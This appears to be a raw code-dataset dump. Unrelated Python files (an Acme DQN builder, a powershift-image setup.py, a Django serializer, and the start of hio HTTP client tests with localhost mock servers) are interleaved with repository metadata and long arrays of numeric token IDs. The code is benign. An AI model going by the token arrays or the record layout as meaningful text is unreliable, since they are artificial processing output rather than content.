1311, 1125, 13, 4706, 4974, 1583, 29889, 5349, 29918, 15638, 29918, 3318, 29892, 320, 13, 9651, 525, 3782, 1203, 7500, 6169, 13, 4706, 25274, 29918, 3283, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 629, 4692, 29918, 3283, 11287, 13, 13, 4706, 736, 25274, 29918, 3283, 13, 2 ]
acme/agents/jax/dqn/builder.py
ostap-viniavskyi/acme
1
70046
# Copyright 2018 DeepMind Technologies Limited. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """DQN Builder.""" from typing import Callable, Iterator, List, Optional, Sequence from acme import adders from acme import core from acme import specs from acme.adders import reverb as adders_reverb from acme.agents.jax import actors from acme.agents.jax import builders from acme.agents.jax.dqn import actor as dqn_actor from acme.agents.jax.dqn import config as dqn_config from acme.agents.jax.dqn import learning_lib from acme.datasets import reverb as datasets from acme.jax import networks as networks_lib from acme.jax import variable_utils from acme.utils import counting from acme.utils import loggers import optax import reverb from reverb import rate_limiters class DQNBuilder(builders.ActorLearnerBuilder): """DQN Builder.""" def __init__( self, config: dqn_config.DQNConfig, loss_fn: learning_lib.LossFn, logger_fn: Callable[[], loggers.Logger] = lambda: None, actor_backend: Optional[str] = 'cpu' ): """Creates DQN learner and the behavior policies. Args: config: DQN config. loss_fn: A loss function. logger_fn: a logger factory for the learner. actor_backend: Which backend to use when jitting the policy. """ self._config = config self._loss_fn = loss_fn self._logger_fn = logger_fn self._actor_backend = actor_backend def make_learner( self, random_key: networks_lib.PRNGKey, networks: networks_lib.FeedForwardNetwork, dataset: Iterator[reverb.ReplaySample], replay_client: Optional[reverb.Client] = None, counter: Optional[counting.Counter] = None, ) -> core.Learner: return learning_lib.SGDLearner( network=networks, random_key=random_key, optimizer=optax.adam(self._config.learning_rate, eps=self._config.adam_eps), target_update_period=self._config.target_update_period, data_iterator=dataset, loss_fn=self._loss_fn, replay_client=replay_client, replay_table_name=self._config.replay_table_name, counter=counter, num_sgd_steps_per_step=self._config.num_sgd_steps_per_step, logger=self._logger_fn()) def make_actor( self, random_key: networks_lib.PRNGKey, policy_network: dqn_actor.EpsilonPolicy, adder: Optional[adders.Adder] = None, variable_source: Optional[core.VariableSource] = None, ) -> core.Actor: assert variable_source is not None # Inference happens on CPU, so it's better to move variables there too. variable_client = variable_utils.VariableClient(variable_source, '', device='cpu') epsilon = self._config.epsilon epsilons = epsilon if epsilon is Sequence else (epsilon,) actor_core = dqn_actor.alternating_epsilons_actor_core( policy_network, epsilons=epsilons) return actors.GenericActor(actor=actor_core, random_key=random_key, variable_client=variable_client, adder=adder, backend=self._actor_backend) def make_replay_tables( self, environment_spec: specs.EnvironmentSpec) -> List[reverb.Table]: """Creates reverb tables for the algorithm.""" samples_per_insert_tolerance = ( self._config.samples_per_insert_tolerance_rate * self._config.samples_per_insert) error_buffer = self._config.min_replay_size * samples_per_insert_tolerance limiter = rate_limiters.SampleToInsertRatio( min_size_to_sample=self._config.min_replay_size, samples_per_insert=self._config.samples_per_insert, error_buffer=error_buffer) return [reverb.Table( name=self._config.replay_table_name, sampler=reverb.selectors.Prioritized(self._config.priority_exponent), remover=reverb.selectors.Fifo(), max_size=self._config.max_replay_size, rate_limiter=limiter, signature=adders_reverb.NStepTransitionAdder.signature( environment_spec))] def make_dataset_iterator( self, replay_client: reverb.Client) -> Iterator[reverb.ReplaySample]: """Creates a dataset iterator to use for learning.""" dataset = datasets.make_reverb_dataset( table=self._config.replay_table_name, server_address=replay_client.server_address, batch_size=( self._config.batch_size * self._config.num_sgd_steps_per_step), prefetch_size=self._config.prefetch_size) return dataset.as_numpy_iterator() def make_adder(self, replay_client: reverb.Client) -> adders.Adder: """Creates an adder which handles observations.""" return adders_reverb.NStepTransitionAdder( priority_fns={self._config.replay_table_name: None}, client=replay_client, n_step=self._config.n_step, discount=self._config.discount)
[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29896, 29947, 21784, 29924, 513, 8364, 11763, 28873, 29889, 2178, 10462, 21676, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 15945, 29908, 29928, 29984, 29940, 5373, 2700, 1213, 15945, 13, 3166, 19229, 1053, 8251, 519, 29892, 20504, 1061, 29892, 2391, 29892, 28379, 29892, 922, 3910, 13, 13, 3166, 1274, 1004, 1053, 788, 414, 13, 3166, 1274, 1004, 1053, 7136, 13, 3166, 1274, 1004, 1053, 1580, 29879, 13, 3166, 1274, 1004, 29889, 1202, 414, 1053, 337, 18248, 408, 788, 414, 29918, 276, 18248, 13, 3166, 1274, 1004, 29889, 351, 1237, 29889, 6487, 1053, 29701, 13, 3166, 1274, 1004, 29889, 351, 1237, 29889, 6487, 1053, 2048, 414, 13, 3166, 1274, 1004, 29889, 351, 1237, 29889, 6487, 29889, 29881, 29939, 29876, 1053, 11339, 408, 270, 29939, 29876, 29918, 7168, 13, 3166, 1274, 1004, 29889, 351, 1237, 29889, 6487, 29889, 29881, 29939, 29876, 1053, 2295, 408, 270, 29939, 29876, 29918, 2917, 13, 3166, 1274, 1004, 29889, 351, 1237, 29889, 6487, 29889, 29881, 29939, 29876, 1053, 6509, 29918, 1982, 13, 3166, 1274, 1004, 29889, 14538, 1691, 1053, 337, 18248, 408, 20035, 13, 3166, 1274, 1004, 29889, 6487, 1053, 14379, 408, 14379, 29918, 1982, 13, 3166, 1274, 1004, 29889, 6487, 1053, 2286, 29918, 13239, 13, 3166, 1274, 1004, 29889, 13239, 1053, 21248, 13, 3166, 1274, 1004, 29889, 13239, 1053, 1480, 5743, 13, 5215, 3523, 1165, 13, 5215, 337, 18248, 13, 3166, 337, 18248, 1053, 6554, 29918, 13400, 414, 13, 13, 13, 1990, 360, 29984, 29940, 5627, 29898, 4282, 414, 29889, 29909, 2801, 29931, 799, 1089, 5627, 1125, 13, 29871, 9995, 29928, 29984, 29940, 5373, 2700, 1213, 15945, 13, 13, 29871, 822, 4770, 2344, 12035, 13, 418, 1583, 29892, 13, 418, 2295, 29901, 270, 29939, 29876, 29918, 2917, 29889, 29928, 29984, 29940, 3991, 29892, 13, 418, 6410, 29918, 9144, 29901, 6509, 29918, 1982, 29889, 29931, 2209, 29137, 29892, 13, 418, 17927, 29918, 9144, 29901, 8251, 519, 8999, 1402, 1480, 5743, 29889, 16363, 29962, 353, 14013, 29901, 6213, 29892, 13, 418, 11339, 29918, 27852, 29901, 28379, 29961, 710, 29962, 353, 525, 21970, 29915, 13, 259, 1125, 13, 1678, 9995, 9832, 1078, 360, 29984, 29940, 24298, 1089, 322, 278, 6030, 24833, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 418, 2295, 29901, 360, 29984, 29940, 2295, 29889, 13, 418, 6410, 29918, 9144, 29901, 319, 6410, 740, 29889, 13, 418, 17927, 29918, 9144, 29901, 263, 17927, 12529, 363, 278, 24298, 1089, 29889, 13, 418, 11339, 29918, 27852, 29901, 8449, 14998, 304, 671, 746, 432, 5367, 278, 8898, 29889, 13, 1678, 9995, 13, 1678, 1583, 3032, 2917, 353, 2295, 13, 1678, 1583, 3032, 6758, 29918, 9144, 353, 6410, 29918, 9144, 13, 1678, 1583, 3032, 21707, 29918, 9144, 353, 17927, 29918, 9144, 13, 1678, 1583, 3032, 7168, 29918, 27852, 353, 11339, 29918, 27852, 13, 13, 29871, 822, 1207, 29918, 1945, 1089, 29898, 13, 418, 1583, 29892, 13, 418, 4036, 29918, 1989, 29901, 14379, 29918, 1982, 29889, 10593, 9312, 2558, 29892, 13, 418, 14379, 29901, 14379, 29918, 1982, 29889, 29737, 2831, 1328, 13724, 29892, 13, 418, 8783, 29901, 20504, 1061, 29961, 276, 18248, 29889, 1123, 1456, 17708, 1402, 13, 418, 337, 1456, 29918, 4645, 29901, 28379, 29961, 276, 18248, 29889, 4032, 29962, 353, 6213, 29892, 13, 418, 6795, 29901, 28379, 29961, 2798, 292, 29889, 17779, 29962, 353, 6213, 29892, 13, 29871, 1723, 1599, 7136, 29889, 29931, 799, 1089, 29901, 13, 1678, 736, 6509, 29918, 1982, 29889, 26016, 19558, 799, 1089, 29898, 13, 4706, 3564, 29922, 11618, 29879, 29892, 13, 4706, 4036, 29918, 1989, 29922, 8172, 29918, 1989, 29892, 13, 4706, 5994, 3950, 29922, 3670, 1165, 29889, 328, 314, 29898, 1311, 3032, 2917, 29889, 21891, 29918, 10492, 29892, 13, 462, 632, 321, 567, 29922, 1311, 3032, 2917, 29889, 328, 314, 29918, 8961, 511, 13, 4706, 3646, 29918, 5504, 29918, 19145, 29922, 1311, 3032, 2917, 29889, 5182, 29918, 5504, 29918, 19145, 29892, 13, 4706, 848, 29918, 17609, 29922, 24713, 29892, 13, 4706, 6410, 29918, 9144, 29922, 1311, 3032, 6758, 29918, 9144, 29892, 13, 4706, 337, 1456, 29918, 4645, 29922, 276, 1456, 29918, 4645, 29892, 13, 4706, 337, 1456, 29918, 2371, 29918, 978, 29922, 1311, 3032, 2917, 29889, 276, 1456, 29918, 2371, 29918, 978, 29892, 13, 4706, 6795, 29922, 11808, 29892, 13, 4706, 954, 29918, 5311, 29881, 29918, 24530, 29918, 546, 29918, 10568, 29922, 1311, 3032, 2917, 29889, 1949, 29918, 5311, 29881, 29918, 24530, 29918, 546, 29918, 10568, 29892, 13, 4706, 17927, 29922, 1311, 3032, 21707, 29918, 9144, 3101, 13, 13, 29871, 822, 1207, 29918, 7168, 29898, 13, 418, 1583, 29892, 13, 418, 4036, 29918, 1989, 29901, 14379, 29918, 1982, 29889, 10593, 9312, 2558, 29892, 13, 418, 8898, 29918, 11618, 29901, 270, 29939, 29876, 29918, 7168, 29889, 29923, 3232, 15644, 29892, 13, 418, 594, 672, 29901, 28379, 29961, 1202, 414, 29889, 3253, 672, 29962, 353, 6213, 29892, 13, 418, 2286, 29918, 4993, 29901, 28379, 29961, 3221, 29889, 16174, 4435, 29962, 353, 6213, 29892, 13, 29871, 1723, 1599, 7136, 29889, 29909, 2801, 29901, 13, 1678, 4974, 2286, 29918, 4993, 338, 451, 6213, 13, 1678, 396, 512, 1659, 5930, 373, 10808, 29892, 577, 372, 29915, 29879, 2253, 304, 4337, 3651, 727, 2086, 29889, 13, 1678, 2286, 29918, 4645, 353, 2286, 29918, 13239, 29889, 16174, 4032, 29898, 11918, 29918, 4993, 29892, 15516, 13, 462, 462, 462, 1678, 4742, 2433, 21970, 1495, 13, 1678, 321, 3232, 353, 1583, 3032, 2917, 29889, 5463, 13, 1678, 321, 567, 309, 787, 353, 321, 3232, 565, 321, 3232, 338, 922, 3910, 1683, 313, 5463, 29892, 29897, 13, 1678, 11339, 29918, 3221, 353, 270, 29939, 29876, 29918, 7168, 29889, 26123, 1218, 29918, 8961, 309, 787, 29918, 7168, 29918, 3221, 29898, 13, 4706, 8898, 29918, 11618, 29892, 321, 567, 309, 787, 29922, 8961, 309, 787, 29897, 13, 1678, 736, 29701, 29889, 15809, 29909, 2801, 29898, 7168, 29922, 7168, 29918, 3221, 29892, 13, 462, 1669, 4036, 29918, 1989, 29922, 8172, 29918, 1989, 29892, 13, 462, 1669, 2286, 29918, 4645, 29922, 11918, 29918, 4645, 29892, 13, 462, 1669, 594, 672, 29922, 328, 672, 29892, 13, 462, 1669, 14998, 29922, 1311, 3032, 7168, 29918, 27852, 29897, 13, 13, 29871, 822, 1207, 29918, 276, 1456, 29918, 24051, 29898, 13, 418, 1583, 29892, 5177, 29918, 6550, 29901, 1580, 29879, 29889, 18649, 10299, 29897, 1599, 2391, 29961, 276, 18248, 29889, 3562, 5387, 13, 1678, 9995, 9832, 1078, 337, 18248, 6131, 363, 278, 5687, 1213, 15945, 13, 1678, 11916, 29918, 546, 29918, 7851, 29918, 25027, 261, 749, 353, 313, 13, 4706, 1583, 3032, 2917, 29889, 27736, 29918, 546, 29918, 7851, 29918, 25027, 261, 749, 29918, 10492, 334, 13, 4706, 1583, 3032, 2917, 29889, 27736, 29918, 546, 29918, 7851, 29897, 13, 1678, 1059, 29918, 9040, 353, 1583, 3032, 2917, 29889, 1195, 29918, 276, 1456, 29918, 2311, 334, 11916, 29918, 546, 29918, 7851, 29918, 25027, 261, 749, 13, 1678, 2485, 1524, 353, 6554, 29918, 13400, 414, 29889, 17708, 1762, 17491, 29934, 20819, 29898, 13, 4706, 1375, 29918, 2311, 29918, 517, 29918, 11249, 29922, 1311, 3032, 2917, 29889, 1195, 29918, 276, 1456, 29918, 2311, 29892, 13, 4706, 11916, 29918, 546, 29918, 7851, 29922, 1311, 3032, 2917, 29889, 27736, 29918, 546, 29918, 7851, 29892, 13, 4706, 1059, 29918, 9040, 29922, 2704, 29918, 9040, 29897, 13, 1678, 736, 518, 276, 18248, 29889, 3562, 29898, 13, 4706, 1024, 29922, 1311, 3032, 2917, 29889, 276, 1456, 29918, 2371, 29918, 978, 29892, 13, 4706, 3514, 20069, 29922, 276, 18248, 29889, 2622, 943, 29889, 29925, 13479, 277, 1891, 29898, 1311, 3032, 2917, 29889, 29886, 21766, 29918, 735, 3296, 511, 13, 4706, 1083, 957, 29922, 276, 18248, 29889, 2622, 943, 29889, 29943, 361, 29877, 3285, 13, 4706, 4236, 29918, 2311, 29922, 1311, 3032, 2917, 29889, 3317, 29918, 276, 1456, 29918, 2311, 29892, 13, 4706, 6554, 29918, 2576, 1524, 29922, 2576, 1524, 29892, 13, 4706, 12608, 29922, 1202, 414, 29918, 276, 18248, 29889, 3059, 371, 29886, 4300, 654, 3253, 672, 29889, 4530, 1535, 29898, 13, 9651, 5177, 29918, 6550, 28166, 13, 13, 29871, 822, 1207, 29918, 24713, 29918, 17609, 29898, 13, 418, 1583, 29892, 337, 1456, 29918, 4645, 29901, 337, 18248, 29889, 4032, 29897, 1599, 20504, 1061, 29961, 276, 18248, 29889, 1123, 1456, 17708, 5387, 13, 1678, 9995, 9832, 1078, 263, 8783, 20380, 304, 671, 363, 6509, 1213, 15945, 13, 1678, 8783, 353, 20035, 29889, 5675, 29918, 276, 18248, 29918, 24713, 29898, 13, 4706, 1591, 29922, 1311, 3032, 2917, 29889, 276, 1456, 29918, 2371, 29918, 978, 29892, 13, 4706, 1923, 29918, 7328, 29922, 276, 1456, 29918, 4645, 29889, 2974, 29918, 7328, 29892, 13, 4706, 9853, 29918, 2311, 7607, 13, 9651, 1583, 3032, 2917, 29889, 16175, 29918, 2311, 334, 1583, 3032, 2917, 29889, 1949, 29918, 5311, 29881, 29918, 24530, 29918, 546, 29918, 10568, 511, 13, 4706, 758, 9155, 29918, 2311, 29922, 1311, 3032, 2917, 29889, 29886, 999, 3486, 29918, 2311, 29897, 13, 1678, 736, 8783, 29889, 294, 29918, 23749, 29918, 17609, 580, 13, 13, 29871, 822, 1207, 29918, 328, 672, 29898, 1311, 29892, 337, 1456, 29918, 4645, 29901, 337, 18248, 29889, 4032, 29897, 1599, 788, 414, 29889, 3253, 672, 29901, 13, 1678, 9995, 9832, 1078, 385, 594, 672, 607, 17766, 13917, 1213, 15945, 13, 1678, 736, 788, 414, 29918, 276, 18248, 29889, 3059, 371, 29886, 4300, 654, 3253, 672, 29898, 13, 4706, 20136, 29918, 29888, 1983, 3790, 1311, 3032, 2917, 29889, 276, 1456, 29918, 2371, 29918, 978, 29901, 6213, 1118, 13, 4706, 3132, 29922, 276, 1456, 29918, 4645, 29892, 13, 4706, 302, 29918, 10568, 29922, 1311, 3032, 2917, 29889, 29876, 29918, 10568, 29892, 13, 4706, 2313, 792, 29922, 1311, 3032, 2917, 29889, 2218, 2798, 29897, 13, 2 ]
setup.py
getwarped/powershift-image
2
1602427
import sys import os from setuptools import setup long_description = open('README.rst').read() classifiers = [ 'Development Status :: 4 - Beta', 'License :: OSI Approved :: BSD License', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ] setup_kwargs = dict( name='powershift-image', version='1.4.2', description='PowerShift command plugin for working in S2I images.', long_description=long_description, url='https://github.com/getwarped/powershift-image', author='<NAME>', author_email='<EMAIL>', license='BSD', classifiers=classifiers, keywords='openshift kubernetes', packages=['powershift', 'powershift.image', 'powershift.image.scripts'], package_dir={'powershift': 'src/powershift'}, extras_require={'cli': ['powershift-cli>=1.2.0']}, entry_points = {'powershift_cli_plugins': ['image = powershift.image']}, package_data = {'powershift.image.scripts': ['alive.sh', 'assemble.sh', 'exec.sh', 'jobs.sh', 'migrate.sh', 'ready.sh', 'run.sh', 'setup.sh', 'shell.sh', 'verify.sh']}, ) setup(**setup_kwargs)
[ 1, 1053, 10876, 13, 5215, 2897, 13, 13, 3166, 731, 21245, 8789, 1053, 6230, 13, 13, 5426, 29918, 8216, 353, 1722, 877, 16310, 2303, 29889, 29878, 303, 2824, 949, 580, 13, 13, 1990, 14903, 353, 518, 13, 1678, 525, 21956, 358, 16034, 4761, 29871, 29946, 448, 350, 1187, 742, 13, 1678, 525, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 350, 7230, 19245, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 29889, 29955, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29941, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29946, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29945, 742, 13, 1678, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29953, 742, 13, 29962, 13, 13, 14669, 29918, 19290, 353, 9657, 29898, 13, 1678, 1024, 2433, 12248, 414, 29882, 2027, 29899, 3027, 742, 13, 1678, 1873, 2433, 29896, 29889, 29946, 29889, 29906, 742, 13, 1678, 6139, 2433, 21472, 29657, 1899, 7079, 363, 1985, 297, 317, 29906, 29902, 4558, 29889, 742, 13, 1678, 1472, 29918, 8216, 29922, 5426, 29918, 8216, 29892, 13, 1678, 3142, 2433, 991, 597, 3292, 29889, 510, 29914, 657, 4495, 9795, 29914, 12248, 414, 29882, 2027, 29899, 3027, 742, 13, 1678, 4148, 2433, 29966, 5813, 29958, 742, 13, 1678, 4148, 29918, 5269, 2433, 29966, 26862, 6227, 29958, 742, 13, 1678, 19405, 2433, 29933, 7230, 742, 13, 1678, 770, 14903, 29922, 1990, 14903, 29892, 13, 1678, 29361, 2433, 22156, 29882, 2027, 413, 17547, 742, 13, 1678, 9741, 29922, 1839, 12248, 414, 29882, 2027, 742, 525, 12248, 414, 29882, 2027, 29889, 3027, 742, 525, 12248, 414, 29882, 2027, 29889, 3027, 29889, 16713, 7464, 13, 1678, 3577, 29918, 3972, 3790, 29915, 12248, 414, 29882, 2027, 2396, 525, 4351, 29914, 12248, 414, 29882, 2027, 16675, 13, 1678, 429, 10678, 29918, 12277, 3790, 29915, 11303, 2396, 6024, 12248, 414, 29882, 2027, 29899, 11303, 18572, 29896, 29889, 29906, 29889, 29900, 2033, 1118, 13, 1678, 6251, 29918, 9748, 353, 11117, 12248, 414, 29882, 2027, 29918, 11303, 29918, 12800, 2396, 6024, 3027, 353, 10801, 29882, 2027, 29889, 3027, 2033, 1118, 13, 1678, 3577, 29918, 1272, 353, 11117, 12248, 414, 29882, 2027, 29889, 3027, 29889, 16713, 2396, 6024, 284, 573, 29889, 845, 742, 525, 465, 6967, 29889, 845, 742, 13, 4706, 525, 4258, 29889, 845, 742, 525, 9057, 29879, 29889, 845, 742, 525, 26983, 403, 29889, 845, 742, 525, 2040, 29889, 845, 742, 525, 3389, 29889, 845, 742, 525, 14669, 29889, 845, 742, 13, 4706, 525, 15903, 29889, 845, 742, 525, 27902, 29889, 845, 2033, 1118, 13, 29897, 13, 13, 14669, 29898, 1068, 14669, 29918, 19290, 29897, 13, 2 ]
MiniTwitter/MiniTwitter/serializer.py
camumbembe/mini_twitter
0
119565
<filename>MiniTwitter/MiniTwitter/serializer.py from rest_framework import serializers from .models import Tweet class TweetModelSerializer(serializers.ModelSerializer): class Meta: model = Tweet fiels = ('author', 'content', 'likes')
[ 1, 529, 9507, 29958, 29924, 2172, 27418, 5171, 29914, 29924, 2172, 27418, 5171, 29914, 15550, 3950, 29889, 2272, 13, 3166, 1791, 29918, 4468, 1053, 7797, 19427, 13, 13, 3166, 869, 9794, 1053, 323, 16668, 13, 13, 1990, 323, 16668, 3195, 17679, 29898, 15550, 19427, 29889, 3195, 17679, 1125, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 323, 16668, 13, 4706, 285, 28119, 353, 6702, 8921, 742, 525, 3051, 742, 525, 5081, 267, 1495, 2 ]
tests/core/http/test_clienting.py
pfeairheller/hio
1
177448
<reponame>pfeairheller/hio<filename>tests/core/http/test_clienting.py # -*- coding: utf-8 -*- """ Unittests for http clienting module """ import sys import os import time from urllib.parse import urlsplit, quote_plus, unquote import pytest from hio import help from hio.help import helping from hio.help import Hict from hio.base import tyming from hio.core import wiring, tcp, http from hio.core.http import clienting logger = help.ogler.getLogger() tlsdirpath = os.path.dirname( os.path.dirname( os.path.abspath( sys.modules.get(__name__).__file__))) certdirpath = os.path.join(tlsdirpath, 'tls', 'certs') def mockEchoService(server): """ mock echo server service for testing """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg, mockMsgLocalhost): ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockEchoServiceJson(server): """ mock echo server service with json data request body utility function """ mockMsg = (b'PUT /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Content-Length: 31\r\n' b'Accept: application/json\r\n' b'Content-Type: application/json; charset=utf-8\r\n\r\n' b'{"first":"John","last":"Smith"}') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectPathService(server): """ mock echo server service utility function """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockRedirectMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: http://localhost:6101/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' elif msgIn== mockRedirectMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectingService(server): """ mock redirecting echo server service utility function """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg, mockMsgLocalhost): ixClient.clearRxbs() msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: http://localhost:6103/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectedService(server): """ mock redirected echo server service utility function """ mockMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n' b'Host: localhost:6103\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectingServiceTls(server): """ mock redirecting echo server service utility function with redirected location is https tls """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg,): ixClient.clearRxbs() # redirect location is https msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: https://localhost:6103/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def test_client_request_echo(): """ Test HTTP Client request echo non blocking """ with tcp.openServer(port = 6101, bufsize=131072) as alpha: assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) with http.openClient(bufsize=131072, hostname=host, port=port, \ method=method, path=path, headers=headers,) as beta: assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha 